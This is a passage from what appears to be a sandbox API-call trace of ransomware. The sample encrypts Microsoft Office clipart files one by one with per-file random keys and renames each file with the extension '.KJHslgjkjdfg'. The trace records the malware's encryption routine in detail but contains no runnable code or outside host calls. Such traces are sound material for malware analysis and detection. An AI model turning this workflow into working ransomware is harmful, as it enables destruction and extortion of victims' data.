lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.527] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.527] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.528] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.528] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.528] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.528] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.528] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8d6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8d6, lpOverlapped=0x0) returned 1 [0194.528] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8e0) returned 1 [0194.528] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.528] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8e0, lpOverlapped=0x0) returned 1 [0194.528] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.528] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.528] SetEndOfFile (hFile=0x130) returned 1 [0194.531] GetProcessHeap () returned 0x2ef0000 [0194.531] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0194.531] GetProcessHeap () returned 0x2ef0000 [0194.531] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.531] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.kjhslgjkjdfg")) returned 1 [0194.532] CloseHandle (hObject=0x130) returned 1 [0194.532] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CMNTY_01.MID", cAlternateFileName="")) returned 1 [0194.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.533] GetProcessHeap () returned 0x2ef0000 [0194.533] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.533] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.533] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.533] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0194.534] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.534] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.534] GetProcessHeap () returned 0x2ef0000 [0194.534] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.534] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.535] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.535] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.535] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.535] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.535] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.535] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.535] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.535] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.535] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.535] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.535] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1b3a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1b3a, lpOverlapped=0x0) returned 1 [0194.536] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b40, dwBufLen=0x1b40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b40) returned 1 [0194.536] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.536] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b40, lpOverlapped=0x0) returned 1 [0194.537] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.537] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.537] SetEndOfFile (hFile=0x130) returned 1 [0194.537] GetProcessHeap () returned 0x2ef0000 [0194.537] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.537] GetProcessHeap () returned 0x2ef0000 [0194.537] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.537] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.kjhslgjkjdfg")) returned 1 [0194.538] CloseHandle (hObject=0x130) returned 1 [0194.538] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1 [0194.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.540] GetProcessHeap () returned 0x2ef0000 [0194.540] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.540] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.540] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.540] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0194.541] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.541] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.541] GetProcessHeap () returned 0x2ef0000 [0194.541] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0194.541] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0194.541] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.542] WriteFile (in: hFile=0x130, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0194.542] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.542] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.542] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.542] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.542] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.542] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.542] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.542] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.542] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1496, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1496, lpOverlapped=0x0) returned 1 [0194.543] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14a0, dwBufLen=0x14a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14a0) returned 1 [0194.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.544] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x14a0, lpOverlapped=0x0) returned 1 [0194.544] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.544] SetEndOfFile (hFile=0x130) returned 1 [0194.546] GetProcessHeap () returned 0x2ef0000 [0194.546] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0194.546] GetProcessHeap () returned 0x2ef0000 [0194.546] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.546] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.kjhslgjkjdfg")) returned 1 [0194.547] CloseHandle (hObject=0x130) returned 1 [0194.547] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x60609cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1 [0194.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.549] GetProcessHeap () returned 0x2ef0000 [0194.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.549] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.549] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0194.551] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.551] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.551] GetProcessHeap () returned 0x2ef0000 [0194.551] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.551] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.551] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.551] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.552] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.552] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.552] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.552] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.552] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.552] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.552] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.552] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.552] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc18a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc18a, lpOverlapped=0x0) returned 1 [0194.554] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc190, dwBufLen=0xc190 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc190) returned 1 [0194.554] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.554] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc190, lpOverlapped=0x0) returned 1 [0194.555] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.555] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.555] SetEndOfFile (hFile=0x130) returned 1 [0194.558] GetProcessHeap () returned 0x2ef0000 [0194.558] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.558] GetProcessHeap () returned 0x2ef0000 [0194.558] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.558] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.kjhslgjkjdfg")) returned 1 [0194.559] CloseHandle (hObject=0x130) returned 1 [0194.559] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CUP.WMF", cAlternateFileName="")) returned 1 [0194.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.561] GetProcessHeap () returned 0x2ef0000 [0194.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.561] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.561] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.561] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0194.563] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.563] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.563] GetProcessHeap () returned 0x2ef0000 [0194.563] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0194.563] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0194.563] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.563] WriteFile (in: hFile=0x130, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0194.563] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.563] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.564] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.564] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.564] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: 